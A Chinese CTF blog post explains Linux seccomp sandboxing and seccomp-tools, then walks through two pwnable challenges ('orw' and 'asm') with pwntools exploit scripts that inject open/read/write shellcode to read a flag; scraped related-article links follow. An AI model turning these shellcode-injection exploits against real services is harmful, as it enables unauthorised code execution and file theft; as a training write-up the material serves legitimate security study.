0x00: 简介

沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。

安全计算模式seccomp(Secure Computing Mode)在Linux2.6.10之后引入到kernel的特性,可用其实现一个沙箱环境。使用seccomp模式可以定义系统调用白名单和黑名单。seccomp机制用于限制应用程序可以使用的系统调用,增加系统的安全性。

在ctf中主要通过两种方式实现沙箱机制:

  • prctl系统调用;
  • seccomp库函数;

0x01: 函数限制检测工具seccomp-tools

安装:

sudo apt install gcc ruby-dev

sudo gem install seccomp-tools

使用:

0x02: 例题实践

Pwnable_orw:

通过checksec可以看出其架构,远程的也是这个。

如果使用shellcraft、asm模块,要配置相对应的架构,可以通过context.binary = "./xxx"自动地完成配置。

用seccomp-tools dump ./orw检查受限函数:

允许的函数主要有open、read、write系统调用函数,用这个函数读取flag。

用32位的IDA打开进行分析:

没有数据段不可执行保护,所以直接往bss里面写shellcode就可以了。通过shellcode写入后,后面第6行就进行执行了。

Exp:
from pwn import *
context.log_level = "debug"
context.binary = "./orw" io = process("./orw")
#io = remote("node4.buuoj.cn",27178)
bss = 0x804A060 payload = shellcraft.open("flag")
payload += shellcraft.read(3,bss + 100, 100)
payload += shellcraft.write(1,bss + 100, 100)

io.recvuntil("Give my your shellcode:")
io.sendline(asm(payload))
print(io.recv())

Pwnable_asm:

先用checksec工具检查架构和其保护机制,然后使用seccomp-tools工具检查受限制函数(这步是在打开IDA后,看到sandbox函数后进行的)。

从图可以看出,仅被允许的系统调用有:read()、write()、open()和exit()。(这个在IDA的注释里面也有说明~)

用64位IDA打开分析程序:

函数分析:

  • 12行用mmap映射了一段0x1000B大小的匿名空间,起始地址为s = 0x41414000;
  • 13行将开辟的空间用144进行初始化,144是啥?0x90。根据注释说是用shellcode解法,应该是制作了nop滑梯。
  • 15行将stub数组赋给了匿名空间前段,stud是啥?由于ida中该数组的值显示有点零散,所以我就在pwnable网站查看了源代码:stud[46] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48",反汇编:(其实就是清空寄存器,好像不影响写入shellcode)
  • 17行接着向后面输入数据,关键点:写入我们想要shellcode进行执行。
  • 19行chroot(directory):将该进程的根目录改为directory。可以防止我们找不到远程中的路径,我们直接open("./flag")就行。
  • 20行sandbox开沙箱机制嘛~
  • 21行应该是ida分析有误,源代码是没有参数的:((void (*)(void))s)();就是从s那里开始执行。

分析完程序,已经很明显了,和上一题一样。通过17行写入shellcode,然后21行会进行执行。

Exp:

from pwn import *
context.log_level = 'debug'
context.binary = './asm' #io = process("./asm")
io = remote("node4.buuoj.cn",26533) addr = 0x41414000 + 0x100
payload = shellcraft.open("flag")
payload += shellcraft.read(3, addr, 0x30)
payload += shellcraft.write(1,addr, 0x30) io.recvuntil("give me your x64 shellcode: ")
io.sendline(asm(payload))
print(io.recv())

0x03: 最后

初步接触,有些地方没思考得太透。所以,有疑惑的朋友可以在评论区提出,互相交流学习。


tolele

2022-04-25

pwn 之 沙箱机制的更多相关文章

  1. 沙箱机制(Sandboxie)

    一.沙箱是什么? 沙箱是一个虚拟系统程序,沙箱提供的环境相对于每一个运行的程序都是独立的,而且不会对现有的系统产生影响. 二.沙箱的应用 (1)搭建测试环境.沙箱的应用只能访问自己的应用访问目录,而不 ...

  2. java中的安全模型(沙箱机制)

    java中的安全模型(沙箱机制) java安全沙箱(一)之ClassLoader双亲委派机制 java安全沙箱(二)之.class文件检验器 java安全沙箱(三)之内置于Java虚拟机(及语言)的安 ...

  3. 对java沙箱机制的一点了解

    1.   引入 我们都知道,程序员编写一个Java程序,默认的情况下可以访问该机器的任意资源,比如读取,删除一些文件或者网络操作等.当你把程序部署到正式的服务器上,系统管理员要为服务器的安全承担责任, ...

  4. K:java中的安全模型(沙箱机制)

    本博文整合自:Java安全--理解Java沙箱.Java 安全模型介绍.Java的沙箱机制原理入门 相关介绍:  我们都知道,程序员编写一个Java程序,默认的情况下可以访问该机器的任意资源,比如读取 ...

  5. NSFileHandle 、 沙箱机制 、 属性列表

    1 使用NSFilehandle进行数据读写 1.1 问题 NSFileManager用于实现对文件的操作,而NSFileHandle是IOS提供的对文件内容(二进制数据)进行操作的类,例如数据的读写 ...

  6. java沙箱机制原理

    参考文档如下: http://www.2cto.com/kf/201012/79578.html

  7. java安全沙箱(一)之ClassLoader双亲委派机制

    java是一种类型安全的语言,它有四类称为安全沙箱机制的安全机制来保证语言的安全性,这四类安全沙箱分别是: 类加载体系 .class文件检验器 内置于Java虚拟机(及语言)的安全特性 安全管理器及J ...

  8. JVM探究(一)谈谈双亲委派机制和沙箱安全机制

    JVM探究 请你谈谈你对JVM的理解?java8虚拟机和之前的变化gengxin? 什么是OOM,什么是栈溢出StackOverFlowError JVM的常用调优参数有哪些? 内存快转如何抓取,怎么 ...

  9. [BUUCTF]PWN——[V&N2020 公开赛]warmup

    [V&N2020 公开赛]warmup 附件 步骤: 例行检查,64位程序,除了canary,其他保护都开 本地运行一下,看看大概的情况 64位ida载入,从main函数开始看程序 看到程序将 ...

随机推荐

  1. CentOS6跟CentOS7的区别

    1.CentOS6在/etc/profile配置环境变量是JAVAHOME,CentOS7是{JAVA_HOME} 2.

  2. zookeeper的通知机制

    一.znode Zookeeper维护一个类似文件系统的数据结构.简单来说,有点类似windows中注册表的结构,有名称,有树节点,有Key(键)/Value(值)对的关系,可以看做一个树形结构的数据 ...

  3. Spring-boot-菜鸟-properties配置

    如果测试结果出现中文乱码: 结果": Person{lastName='张胜男', age=11, boss=false, birth=Wed Nov 11 00:00:00 CST 202 ...

  4. 为什么需要域驱动设计(DDD)?

    我们需要 DDD 的因素 – 微服务面试问题

  5. SQLyog创建数据库过程

    点击数据库,点击创建数据库 输入数据库名称,输入字符集,排序规则选默认的 然后一个数据库就建好了

  6. 学习Solr(一)

    一.安装 1.需要的安装包:apache-tomcat-7.0.47.tar.gz.solr-4.10.3.tgz.tgz(jdk自行安装) 2.解压tomcat并创建solr文件夹 [root@lo ...

  7. 学习DNS(二)

    DNS出现及演化 网络出现的早期 是使用IP地址通讯的,那时就几台主机通讯.但是随着接入网络主机的增多,这种数字标识的地址非常不便于记忆,UNIX上就出现了建立一个叫做hosts的文件(Linux和w ...

  8. (stm32f103学习总结)—待机唤醒实验

    一.STM32待机模式介绍 1.1 STM32低功耗模式介绍 很多单片机具有低功耗模式,比如MSP430.STM8L等,我们的STM32 也不例外.默认情况下,系统复位或上电复位后,微控制器进入运行模 ...

  9. 顺利通过EMC实验(19)

  10. HTML5离线存储整理

    前端html部分 //canvas.html <!DOCTYPE html> <html manifest="/test.appcache"> <he ...